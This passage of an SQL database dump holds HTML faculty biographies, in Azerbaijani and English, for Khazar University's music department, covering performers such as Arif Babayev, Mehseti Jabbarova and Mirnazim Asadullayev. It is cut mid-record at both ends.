1938 ci ildə fevralın 20-də Ağdam şəhərində Sarıhacılı kəndində anadan olub.1962-1968-ci ildə &nbsp;Azərbaycan Dövlət İncəsənət İnstitutunda təhsil alıb.1966-ci ildə M.F.Axundov adına Opera və Balet Teatrına dəvət olunmuşdur.O, Seyid Şuşinski, Xan Şuşinski, Zülfi Adıgözəlov kimi sənətkarların ənənələrinə əsaslanaraq, özünəməxsus ifaçılıq üslubu yaratmışdır. 1960-cı ildən başlayaraq Arif Babayevin yaradıcılıq yolu Bakı şəhəri ilə bağlı olmuşdudur. O, Azərbaycan Dövlət Mədəniyyət və İncəsənət Universitetində təhsil almışdır.Əvvəl Azərbaycan Dövlət Filarmoniyasına, sonar isə Azərbaycan Dövlət opera və Balet Teatrına solist kimi dəvət olunan Arif Babayev bu teatrın səhnəsində muğam operalarında Məcnun, Kərəm (Ü.Hacıbəyov-“Leyli-Məcnun”, “Əsli və Kərəm “), Aşıq Qərib (Z.Hacıbəyov-“Aşıq Qərib”), Camal (Ş.Axundova-“Gəlin qayası”) kimi yaddaqalan obrazlar yaratmışdır. Arif Babayevin ifasında bütün muğam dəstgahlar səslənmiş və lentə alınaraq AzTR Fonduna daxil olmuşdur.Onun yaradıcılığında “Şur”, “Seygah” muğam dəstgahları, “Arazbarı”, “Qarabağ şikəstəsi” zərbi muğamları xüsusi yer tutur. Xüsusilə , “Seygah” muğamını Arif Babayev təkrarolunmaz bir üslubda oxumuşdur. Xanəndə həm də təsnif və xalq mahnılarının ifaçısı kimi çox sevilir, onları böyük ifa etmişdir. Arif Babayevin 70 illik yubileyi münasibətilə Heydər Əliyev Fondu tərəfindən xanəndənin səsyazılarından, həyat və yaradıcılıq yolunu əks etdirən şəkillərdən ibarət CD-albom nəşr olunmuşdur.1978-ci ildə Azərbaycan Respublikasının “Əməkdar Artist” fəxri adına ,1988-ci ildə Azərbaycan Respublikasının “Xalq artist” fəxri adı ilə təltif olunmuşdur.1998-ci ildə fevral ayında Azərbaycan Respublikasının prezidenti tərədindən “Şöhrət Ordeni”,2008-ci ildə fevralın 19-da “İstiqlal ordeni” ilə təltif olunmuşdur.1992-ci ildə dosent,1996-ci ildə professor adı təsdiq olunmuşdur.2002- ci ildən Prezident təqaüdçüsüdür.2007-ci ildə“El atası”, 2010-ci ildə “Beynəlxalq qızıl çinar “ mükafatına layiq görülmüşdür.Dünyanın 60 ölkəsində qastrol səfərində ölkəmizi təmsil etmişdir.Arif Babayev XX əsrin ikinci yarısında Qarabağ xanəndəlik məktəbinin görkəmli nümayəndələrindən biridir.1982-ci ildə Bülbül adına Orta İxtisas Musiqi Məktəbində ilk muğam müəllimi kimi çalışmağa başlayıb. Daha sonra - 1984-cü ildə ilk muğam müəllimi kimi Azərbaycan Dövlət Konservatoriyasına işə qəbul olunub.1990-cı ildə tarixdə ilk dəfə muğam professoru adı alıb. Xalq artisti Arif Babayev hazırda Milli Konnservatoriyanın muğam kafedrasının müdiridir. O, eyni zamanda Xəzər Universitetinin Musiqi və İncəsənət departamenitində müəllim vəzifəsində çalışır.</p>  <br></div>'),(1041,661,'en','Arif Babayev','Arif Babayev','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/Arif%20Babayev%20CV.docx\"><img src=\"/files/image/13_05_17_arif.jpg\" style=\"width:150px;height:194px;margin:7px;float:left\"></a></div><div><br></div><p><a href=\"http://www.khazar.org/files/pdf/Arif_Babayev_CV.pdf\">Arif Babayev&nbsp;</a></p><div><p><strong>Arif Imran oghlu Babayev&nbsp;</strong>was born in the village of Sarihajli near the city of Aghdam on February 20<sup>th</sup>, 1938. He entered Azerbaijan State Fine Arts Institute in 1962 and graduated in 1968. He was invited to perform leading roles for the M. F. Akhundov Opera and Ballet Theater beginning in 1966. In 1978 he was awarded the title of Honored Artist; in 1988—People’s Artist, in 1988—the Hall of Fame, and on February 19<sup>th</sup>, 2008, he became a holder of the order of “Independence.” A large album and discs about him were compiled for his 70<sup>th</sup>&nbsp;birthday. He has given concert tours in over 60 countries.</p><p>He earned the academic rank of associate professor in 1992 and professor in 1996. He has been given the Presidential stipend since 2002. He has been a university department head at Azerbaijani National Conservatorium since 2000. He has taught mugham courses at Khazar University with Honored Artist Mirnazim Asadullayev and Ramin Rzayev since the beginning of 2001.</p><p>In 2010, he won the International “Golden Tree” award. He is married with 3 children and 6 grandchildren.&nbsp;</p>  <br></div>'),(1042,662,'az','Məhsəti Cabbarova','Məhsəti Cabbarova','<div><br></div><p><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"><br></strong><strong><strong>&nbsp;MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>&nbsp;  </strong>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><p><a href=\"http://www.khazar.org/files/pdf/Mesheti_Cabbarova_CV.pdf\">Mesheti&nbsp;Cab</a><a href=\"http://www.khazar.org/files/pdf/Mesheti_Cabbarova_CV.pdf\">barova&nbsp;</a><span style=\"font-size:medium\"><img src=\"/files/image/13_05_17_mehseti.JPG\" style=\"float:left;width:150px;height:174px;margin:7px\"></span></p><p>&nbsp;Məhsəti&nbsp; Cabbarova&nbsp; Mirzəağa qızı &nbsp;2 Avqust 1985-ci ildə Rusiya Federasiyasının Tümen vilayətində&nbsp; ziyalı ailəsində anadan olmuşdur. 1993-cü ildən-1999-cu ilədək orta məktəbdə oxumuşdur.Eyni zamanda 1999-cu ildən – 2004-cü ilədək S.Ələsgərov adına musiqi incəsənət məktəbində vokal üzrə təhsil almışdır.2004-cü ildə Bakı Musiqi &nbsp;&nbsp;Akademiyasının solo oxuma fakultəsinə daxil olmuşdur və 2008-ci ildə Akademiyanı bitirmişdir.</p><p>&nbsp;Azərbaycan dövlətində keçirilən “Qönçə 2004”,”Pöhrə”,”Rodniki duşı”,Qara Qarayev adına keçirilən vokalçılarınmusabiqəsində 1-ci yerlərə layiq görülmüşdür.</p><p>&nbsp;2006-cı ildə Qazaxıstan dövlətində keçirilən “Dədə Qorqud və Böyükn Səhranın musiqisi” adlı festivalda Azərbaycanı layiqli təmsil etmişdir.</p><p>&nbsp;2007-ci ildə Belarussiya Dövləti “Dünya Azərbaycanlılarının Həmrəylik günü”&nbsp; münasibəti ilə keçirilən konsertdə çıxışlar edib.</p><p> 2006-cı ildə Qazaxıstan dövlətində keçirilən “Dədə Qorqud və Böyükn Səhranın musiqisi” adlı festivalda Azərbaycanı layiqli təmsil etmişdir.&nbsp;Roman Azaflı rəhbərliyi altında “Qoca Qartal”ozan ansambılında fəaliyyət göstərib(1995-ci ildən)şO cümlədən ”Sing your song”2005, ”Azəri Star-2005”Televiziya estrada müsabiqəsində cıxış edib.</p><p>&nbsp;2008-ci ildə Türkiyədə,Qazaxıstanda,Kırğıstanda keçirilən Türksoy Prodakşının Ü.Hacıbəyovun “Koroğlu Operası ” əsəri üzrə keçirilən uluslar arası festivalda Azərbaycanı layiqli təmsil edib.</p><p>&nbsp;2009-cu ildə Ukrayna Dövlətində Zərifə Əliyeva adına parkın açılışında çıxışlar edib.</p><p>2010-cu ildə Firəngiz Əlizadəninbvə Nərgiz Paşayev “İntizar” operası ”Kumuşka” obrazını ifa etmişdir.</p><p>&nbsp;2010-cu ildən Opera Balet teatırına dəvət olunub və Operalarda iştirak edir.</p><p>&nbsp;2011-ci ildən Xəzər Universitetində Muəllim vəzifəsində çalışır.</p><p>&nbsp;2012-ci ildə “Arsenium” adlı Nərgiz Paşayev proyektində&nbsp; Səhnədə çıxışlar etmişdir.</p><p>&nbsp;2013-cü ildə sentyabrın 17-də UNESCO-nun mənzil qərargahında TÜRKSOY-un, Azərbaycan, Qazaxıstan və Türkiyənin bu daimi nümayəndəliklərinin təşkilatçılığı ilə dahi Azərbaycan bəstəkarı Üzeyir Hacıbəylinin “Arşın mal alan” operettasının 100 illiyinə həsr edilmiş bayram tədbirləri keçirilmişdir.&nbsp;</p><p>Azərbaycanın əməkdar incəsənət xadimi Əli Usubovun rejissorluğu, Azərbaycanın xalq artisti, professor Ağaverdi Paşayevin dirijorluğu və Qazaxıstanın Karakanda Simfonik Orkestrinin müşayiəti ilə Azərbaycan, Qazaxıstan, Qırğızıstan və Türkiyədən gəlmiş aktyorlar “Arşın mal alan” operettasını&nbsp; göstərmişlər. Onların çıxışı böyük maraqla qarşılanmışdır.</p><p>Tamaşada Asya rolunu beynəlxalq müsabiqələr laureatı, Azərbaycan Dövlət Filarmoniyası xor kapellasının artisti, M. F. Axundov adına Opera və Balet Teatrının solisti, Xəzər Universitetinin müəllimi Məhsəti Cabbarova ifa etmişdir. O, uğurlu çıxışına görə UNESCO-nun diplomu və TÜRKSOY-un təşəkkürnaməsi ilə təltif olunmuşdur.</p><p>Həmin tamaşa sentyabrın 13-də&nbsp; Qazaxıstanın paytaxtı Astana&nbsp; və Karakanda şəhərlərində də nümayiş etdirilmişdir.</p>  <br></div>'),(1043,662,'en','Mehseti Jabbarova','Mehseti Jabbarova','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong><strong>THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/Mesheti_Cabbarova_CV.doc\"><img src=\"/files/image/13_05_17_mehseti.JPG\" style=\"border:0px  #0000ee;width:150px;height:174px;margin:7px;float:left\"><br></a></div><p><a href=\"http://www.khazar.org/files/pdf/Mesheti_Cabbarova_CV.pdf\">Mesheti&nbsp;Cabbarova</a></p><p>Meshetian Jabbarova Mirzaagha&nbsp; was born in&nbsp; a nobel family &nbsp;in the province of Tumen of &nbsp;the Russian Federation&nbsp; on 2 August,1985.&nbsp;From 1993 to &nbsp;1999 she &nbsp;studied at secondary school.Also,from 1999 to 2004 she studied vocal class at&nbsp; Music and Art school named by S.Alasgarov. In 2004 she entered the faculty of solo singing at &nbsp;Baki Musical &nbsp;Academy and graduated from the Academy in 2008.She was awarded of the 1<sup>st</sup>&nbsp;place competitions of “Qonca-2004”, “Pohre”, “Rodniki dusi” and&nbsp; competition of vocalists which was took place for Gara Garayev.In 2006 she was properly represented the festival named \"Dədə Qorqud and Böyük səhranın musiqisi\"&nbsp; in Kazakhstan.In 2007 She was performed &nbsp;the concert named “Soludarity Day of World Azerbaijanis” in Belarus.She participated at the&nbsp; “Qoca Qartal” ensemble under the leadership of Roman Azafli (since 1995).Also, she participated at the TV estrada Competition such&nbsp; “sing your song - 2005” and “Azeri Star -2005”.In 2008 She properly represented Azarbaijan&nbsp; in the international festival&nbsp; which was presented Uzeyir Hajibeyov’s “Koroglu” &nbsp;opera&nbsp; in Turkey, Kazakhstan, Kyrgyzstan by Turksoy Prodaction.In 2009 she performed at the opening of the park named by Zarifa Aliyeva in Ukrain.In 2010 she performed as the caracter of “Kumuska” at “Intizar” opera.Since 2010 she has been invited Opera and Balet Theater and she performs operas.Since 2011 she works as a teacher in Khazar University.In 2012 she performed&nbsp; at the project of Nargiz Pashayeva&nbsp; by named “Arsenium”.&nbsp;&nbsp;Personal Information: Date of Birth: 02.08.1985Place of Birth:Rusian FederationNationality:AzerbaijanianMartial Status:SingleContact details (+994 55)731 65 45Education:1993-1999 school number 1451999- 2004 Music and Art school named by S.Alasgarov, Vocal class&nbsp;2004-2008 Baki Musical&nbsp; Academy,faculity of solo singer&nbsp;&nbsp;Work experience: 2008- State Musical Academy named by M.MagomayevPosition:Choral&nbsp; Artist2011- department&nbsp; of Music and Art in Khazar UniversityPosition:Teacher&nbsp;Language skills: Rus-perfectArt activities:She was awarded of the 1<sup>st</sup>&nbsp;place competitions of “Qonca-2004”, “Pohre”, “Rodniki dusi” and&nbsp; competition of vocalists which was took place for Gara Garayev.In 2006 she was properly represented the festival named \"Dədə Qorqud and Böyük səhranın musiqisi\"&nbsp; in Kazakhstan.In 2007 She was performed &nbsp;the concert named “Soludarity Day of World Azerbaijanis” in Belarus.She participated at the&nbsp; “Qoca Qartal” ensemble under the leadership of Roman Azafli (since 1995).Also, she participated at the TV estrada Competition such&nbsp; “sing your song - 2005” and “Azeri Star -2005”.In 2008 She properly represented Azarbaijan&nbsp; in the international festival&nbsp; which was presented Uzeyir Hajibeyov’s “Koroglu”&nbsp; opera&nbsp; in Turkey, Kazakhstan, Kyrgyzstan by Turksoy Prodaction.In 2009 she performed at the opening of the park named by Zarifa Aliyeva in Ukrain.In 2010 she performed as the caracter of “Kumuska” at “Intizar” opera.Since 2010 she has been invited Opera and Balet Theater and she performs operas.Since 2011 she works as a teacher in Khazar University.In 2012 she performed&nbsp; at the project of Nargiz Pashayeva&nbsp; by named “Arsenium”.In 2012 She performed as a group member of “Medine Ilaheler”&nbsp; and Fargana Gasimova .On September 17, an event dedicated to the 100th anniversary&nbsp;of great Azerbaijani composer U. Hajibayli’s “Arshin Mal Alan\" musical comedy was held at the UNESCO headquarters as organized by Azerbaijan, Kazakhstan and Turkey’s TURKSOY agencies.The \"Arshin Mal Alan\" operetta was directed by Honored Art Worker of Azerbaijan&nbsp;Ali Usubov,&nbsp;conducted by People’s Artist of Azerbaijan, Professor&nbsp;Agaverdi Pashaev, and accompanied by Karakanda Symphonic Orchestra of Kazakhstan. The actors came from Azerbaijan, Kazakhstan, Kyrgyzstan and Turkey. Mehseti Jabbarova, Khazar University instructor and laureate of international competitions,&nbsp;artist of the Azerbaijan State Philharmonic Choir,&nbsp;and soloist for the Opera and Ballet Theatre named after M.&nbsp;F.&nbsp;Akhundov,&nbsp;played the role of Asya. She was awarded a UNESCO diploma and a message of thanks from TURKSOY for her successful performance.The performance&nbsp;took place in&nbsp;Astana (capital of Kazakhstan) and Karakanda on September 13.&nbsp;</p><div>  <br></div>'),(1044,663,'en','Mirnazim Asadullayev','Mirnazim Asadullayev','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong>&nbsp;  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><p><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a href=\"http://www.khazar.org/files/pdf/Mir_Nazim_Asadullayev_CV.pdf\"><img src=\"/files/image/13_05_17_mirnazim.jpg\" style=\"width:150px;height:192px;margin:7px;float:left\"><span style=\"font-size:large\"><strong>MirNazim&nbsp;Asadullayev</strong></span></a></span></p><div><p><strong>Mirnazim Mushtaba oghlu Asadullayev</strong>&nbsp;was born in Baku in 1951. After studying in the State Music Institute named after Asef Zeynalli from 1969 to 1973, he earned a degree in kamancha performance from the Music Conservatory named after Uzeyir Hajibeyov in 1976 to 1981.</p><p>He began his performing career as the first-chair kamancha player for the folk musical instruments orchestra of the Azerbaijan State Television and Radio Broadcasting Company. He traveled to numerous countries for the Azerbaijan Republic Ministry of Culture in order to represent Azerbaijani folk music in concerts, including the USA, Canada, France, Germany, Spain, Switzerland, Holland, Belgium, the Ukraine, the Czech Republic, Russia, Turkey, Iran, Iraq, India, Nepal, and South Korea.</p><p>He played in the folk instrumental ensemble named after Baba Salahov for over 35 years, during which he accompanied many of Azerbaijan’s most famous singers. He regularly participates in special events and concerts as part of a mugham trio.</p><p>Asadullayev’s performances of several mugham numbers have been recorded for the “Golden Fund” archive of Azerbaijan Television and Radio. He has authored articles about other artists and about performance theory.</p><p>In addition to performing, he teaches at the Azerbaijan State University of Culture and Fine Arts as an associate professor of the Department of Instrumental Performance. He has taught mugham courses at Khazar University with People’s Artist Arif Babayev and Ramin Rzayev since the beginning of 2001.</p><p>His familiarity with the western, Russian and Azerbaijani schools of composition and his deep knowledge of mugham add weight to the courses he teaches in scoring and mugham. He has authored textbooks in kamancha, mugham, the history of mugham, and mugham performance.</p><p>According to an order of President of the Azerbaijan Republic Ilham Aliyev on 15 May 2007, he was awarded the title of Honored Artist of the Azerbaijan Republic. He also won the “Ughur-2009” award of the Azerbaijan Republic Cultural Center for his performing activities.&nbsp;</p>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(1045,663,'az',' Mirnazim Əsədullayev',' Mirnazim Əsədullayev','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/13_05_17_mirnazim.jpg\" style=\"width:150px;height:192px;margin:7px;float:left\"><br></div><div>&nbsp;<p><span style=\"font-family:\'times new roman\', times, serif;font-size:large\"><a href=\"http://www.khazar.org/files/pdf/Mir_Nazim_Asadullayev_CV.pdf\"><strong>MirNazim&nbsp;Asadullayev</strong></a></span><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></span></p><p><strong>Mirnazim</strong><strong>&nbsp;М</strong><strong>üştəba</strong><strong>&nbsp;о</strong><strong>ğlu</strong><strong>&nbsp;</strong><strong>Əsədullayev</strong>&nbsp;1951-ci ildə Bakı şəhərində аnadan оlmuşdur.</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;1969-1973-cu illərdə Asif &nbsp;Zeynallı &nbsp;adına Dövlət Musiqi Texnikumunda təhsil aldıqdan sonra о,</p><p>1976-1981-ci illərdə Üzeyir Hacıbəyov adına Musiqi Konservatoriyasının kamança bölməsində ali təhsil almışdır.</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bir ifaçı olaraq peşakar fəaliyyəti1971-76-cı illərdə Azərbaycan Dövlət &nbsp;Televiziya və Radio Verlişləri &nbsp;Şirkətinin xalq çalğı alətləri orkestrnda birinci kamançaçı kimi baslamışdir. Azərbaycan Respublikası Mədəniyyət Nazirliyinin &nbsp;xətti ilə dünyanın bir cox ölkələrində- ABŞ, Kanada, Fransa, Almaniya, İspaniya, İsveçrə, Şotlandiya, Belçika, Ukrayna, Çexiya, Rusiya, Türkiyə, İran, iraq, Hindistan, Nepal, Cənubi Koreya &nbsp;kimi &nbsp;ölkələrdə konsertərlə çıxış etmiş, Azərbaycan xalq musiqi mədəniyyətini təmsil etmişdir.</p><p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;35 ildən artıq Baba Salahov adına xalq çalğı alətlərində işləmiş Azərbaycanın ən məhşur, şöhrətli xanəndələrindən,- Hacıbaba Hüseynovu, Yaqub Məmmədovu, Əlövsət Əliyevi, Rübabə Muradovanı, Şövkət Ələkbərovanı, Sara Qədimovanı,Zeynəb Xanlarovanı, Nəzakət Məmmədovanı,&nbsp; Arif Babayevi, Ağaxan Abdullayevi, Alim Qasımovu və onlarla digər xanəndələri müşayət etmişdir.Muğam üçlüyü tərkibində xüsusi təyinatlı &nbsp;konsert və tədbirlərdə &nbsp;mütəmadi olaraq fəaliyyət gostərmişdir.</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Mirnazim Əsədullayevin Azərbaycan televiziyası və radiosunun “<strong>Qızıl Fond</strong>”unda “Rahab”, “Çahargah”, “Bayatı-Şiraz”, “Humayun”, “Orat-Mahur” və başqa lent yazıları saxlanılır.</p><p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Şeyx AllahŞukur Paşazadənin &nbsp;<strong>“Halal Adam”</strong>, Yaqub Məmmədovun&nbsp;<strong>“Əbədi ölməzlik”</strong>, Talat Qasımovun&nbsp;<strong>“70-in mübarək Şeyx Tələt”</strong>, Ədalət Vəzirovun<strong>“Sahibini itirmiş kaman”</strong>,&nbsp;<strong>İfaçılıq sənətimizə bir nəzər&nbsp;</strong>&nbsp;yaxud&nbsp;<strong>“Musiqimizi zay etsək, bizlər üçün ar olsun”</strong>&nbsp;&nbsp;məqalələrinin müəllifidir.</p><p>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Mirnazim Əsədullayev ifaçılıqla yanaşı, həm də Azərbaycan Dovlət &nbsp;Mədəniyyət və İncəsənət Universitetində pedaqoji fəaliyyət göstərir, “İnsturumental ifaçılıq”&nbsp; kafedrasının dosentidir. Mirnazim müəllimin professional musiqiyə,- Qərb Rus və Azərbaycan məktəbinə bələdçilik edərək, muğam sənətini dərindən bilməsi onun, «İxtisas»(not) və&nbsp; «Muğam» fənlərinin tədrisində əhəmiyyət kəsb edib.</p><p>Azərbaycan Dovlət Mədəniyyət və İncəsənət “İnsturumental İfaçılıq” kafedrası üçün&nbsp;<strong>Kamanca və Qanun&nbsp;</strong>alətləri üçün&nbsp;İxtisas və Muğam, Orta İxtisas Musiqi Məktəbləri ucun Kamanca ixtisası ücün&nbsp;İxtisas və Muğam&nbsp;&nbsp;&nbsp;proqramlarının “<strong>Şur &nbsp;muğamının Tarixinə dair”&nbsp;</strong>və&nbsp;<strong>“Şur Muğamının İfaçılıq Xüsusiyyətləri”</strong>&nbsp;adlı metodik vəsaitlərin müəllifidir.</p><p>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;<strong>Azərbaycan Respublikasının Prezidenti cənab İlham Əliyevin</strong>&nbsp;&nbsp;15-05-2007-ci il tarixli sərəncamına əsasən&nbsp; Mirnazim Əsədullayev &nbsp;<strong>Azərbaycan Respublikasının Əməkdar Artisti&nbsp;</strong>fəxri adına layiq görülmüşdür.</p><p><strong>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</strong>Mirnazim Əsədullayev ifaçılıq fəalliyətinə&nbsp; Azərbaycan respublikası Milli&nbsp; Mədəniyyəti &nbsp;təbliği mərkəzinin təltif etdiyi &nbsp;<strong>Uğur-2009</strong>&nbsp;mükafatına layiq görülmüşdür</p>  <br></div>'),(1046,664,'en','Fidan Haciyeva','Fidan Haciyeva','<div><br></div><div><br></div><div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS</strong></p>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/14_02_11_fidan_haciyeva.jpg\" style=\"width:150px;height:223px;margin:7px;float:left\"></div><div><br></div><p><strong><a href=\"http://www.khazar.org/files/pdf/Fidan_Haciyeva_musiqi.pdf\">Fidan Hajiyeva</a></strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\"><span style=\"box-sizing:border-box;font-weight:bold\">Fidan Hajiyeva</span>&nbsp;was born in Baku, Azerbaijan in 1976. Between 1984-1994 she received her early education in the piano class of the Bulbul Music School. She then transferred to the vocal faculty of the Baku Music Academy to study as a soloist and has continued through to completion of a post-graduate course. Fidan has also studied at the Music Academy of Chigiana, Italy where she was won first prize in the final international competition. She is currently studying and extending her repertoire with the Italian mezzo-soprano Bruna Baglioni.</p><div><p>Since 1996 Fidan has been a leading opera soloist at the Azerbaijan State Opera and Ballet Theatre. Her repertoire on the theatre stage includes leading roles as:</p><p>• Carmen in Georges Bizet’s opera Carmen</p><p>• Amneris in Giuseppe Verdi’s opera Aida</p><p>• Azucena in Verdi’s opera Il Trovatore</p><p>&nbsp;</p><p>Early roles also included Rosina (Il barbiere di Siviglia), Maddalena (Rigoletto) and Flora (La Traviata)</p><p>In 2000 Fidan represented the Azerbaijan Republic in the Turksoy Festival, returning once more in 2009. She went on to sing Carmen and other concert programmes at the Turkish State Opera and Ballet Theatre in Mersin, along with other performances at concert halls and theatres in Istanbul, Izmir, Ankara and Antalya (Aspendos). Fidan recorded her first album “Jealousy and Love” in 2003, singing national and international songs in seven different languages. More recently Fidan has performed concert programmes and introduced Azerbaijani music to many countries including Germany, Japan, Russia, Ukraine and Italy.</p><p>In 2011 Fidan has performed Carmen both in Turkey and in Baku, together with a solo concert at the Accademia Nazionale di Santa Cecilia in Rome, Italy. In May/June 2011 she performed Aida in Baku, together with a joint concert with French tenor Jean-Francis Monvoisin, followed closely by a workshop in Italy to study and perform in Puccini\'s opera Suor Angelica as part of the Summer Festival of Montefiore Conca near Rimini.</p><p>Fidan’s talent was recognised with the award in 2006 of the title Honoured Artist of Azerbaijan by the President of Azerbaijan&nbsp;<br></p></div>  <div><br></div><p><br></p><div><br></div><div><br></div>'),(1047,664,'az','Fidan Haciyeva','Fidan Haciyeva','<div><p></p><div style=\"background:undefined\"><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong>  <br></p><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><img src=\"http://www.khazar.org/files/image/14_02_11_fidan_haciyeva.jpg\" style=\"width:150px;height:223px;margin:7px;float:left\"><br></div><p><a href=\"http://www.khazar.org/files/pdf/Fidan_Haciyeva_musiqi.pdf\" target=\"_blank\"><strong>Fidan Hajiyeva</strong></a>&nbsp;</p><p>Fidan Hacıağa&nbsp;qızı Hacıyeva Bakı şəhərində anadan olub. İlk təhsilini 1984-1994-cü illərdə Bülbül adına orta ixtisas musiqi məktəbinin fortepiano sinfində alıb. 1994-cü ildə Ü.Hacıbəyov adına Bakı Musiqi Akademiyasının solo oxuma (vokal) fakültəsinə daxil olub və aspirantura pilləsinə qədər təhsilini davam etdirib. 1998-cı ildə Rusiya Federasiyasının Xalq artisti dünya şöhrətli İrina Arxipovanın master klass vokal dərslərinə yiyələnib.  <br></p><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><div style=\"background:undefined\"><br></div><p></p></div>'),(1048,665,'en','Sabina Minasazova','Sabina Minasazova\r\n','<div><br></div><p><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">THE FACULTY AND STAFF OF THE DEPARTMENT OF MUSIC AND FINE ARTS CONSISTS OF THE FOLLOWING MEMBERS:</strong>&nbsp;&nbsp;  <br></p><div><br></div><div><br></div><div><br></div><div><br></div><div><p><strong><a href=\"http://www.khazar.org/files/Sabina_Minasazova_CV.docx\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/image/SEBNE%20MINASAZVA.jpg\" style=\"width:150px;height:127px;margin:7px;float:left\"><br></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Sabina_Minasazova_CV.pdf\">Sabina&nbsp;Minas</a><a href=\"http://www.khazar.org/files/pdf/Sabina_Minasazova_CV.pdf\">azova</a></strong><strong><br></strong></p><div><strong><br></strong></div><br>  <br></div>'),(1049,665,'az',' Səbinə Minasazova',' Səbinə Minasazova','<div><br></div><div><br><p><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİNİN PROFESSOR-MÜƏLLİM VƏ İŞÇİ HEYƏTİ AŞAĞIDAKI ÜZVLƏRDƏN İBARƏTDİR</strong><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></strong></p><div><strong><br></strong></div><br><br><div><br></div><div><br></div><div><br></div><p><strong><a href=\"http://www.khazar.org/files/Sabina_Minasazova_CV.docx\"><img src=\"http://www.khazar.org/files/image/SEBNE%20MINASAZVA.jpg\" style=\"border:0px  #0000ee;width:200px;height:169px;margin:7px;float:left\"><br></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/Sabina_Minasazova_CV.pdf\">Sabina&nbsp;Minasazova</a></strong></p><p><a href=\"http://www.khazar.org/files/Sabina_Minasazova_CV.docx\"></a>Səbinə İsmayılova İlham 1978-ci il yanvarın 14-də &nbsp;Bakı şəhərində anadan &nbsp;olmuşam . 1985-1991-ci ildə orta məktəbi bitirib 1991- ci ildə Bakı Xoreoqrafiya məktəbinin milli bölməsini&nbsp; bitirmişdir.1996-ci ildə BXM-nin ansambl artisti kimi bitirmişdir. 1996-ci ildə Xəzər Universitəsinin Humanitar və Sosial elmlərin fakultəsinin jurnalistika fakultəsinə daxil olmuş və 2002 fərqlənmə (qırmızı) diplomla bitimişdir. Xarici ölkələrdə (Türkiyə, Qatar, Gürcüstan) konsert&nbsp; və festivallarda iştirak etmişdir. Hal-hazırda Xəzər Universitəsinin qızlardan ibarət rəqs qrupunun və “Dünya” məktəbinin qızlardan ibarət rəqs qrupunun müəllimi və bədii rəhbəridir.</p><br>  <br></div>'),(1050,666,'az','Xuraman Məmmədova','Xuraman Məmmədova','<div><br></div><div> <br><p><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">MUSİQİ VƏ İNCƏSƏNƏT 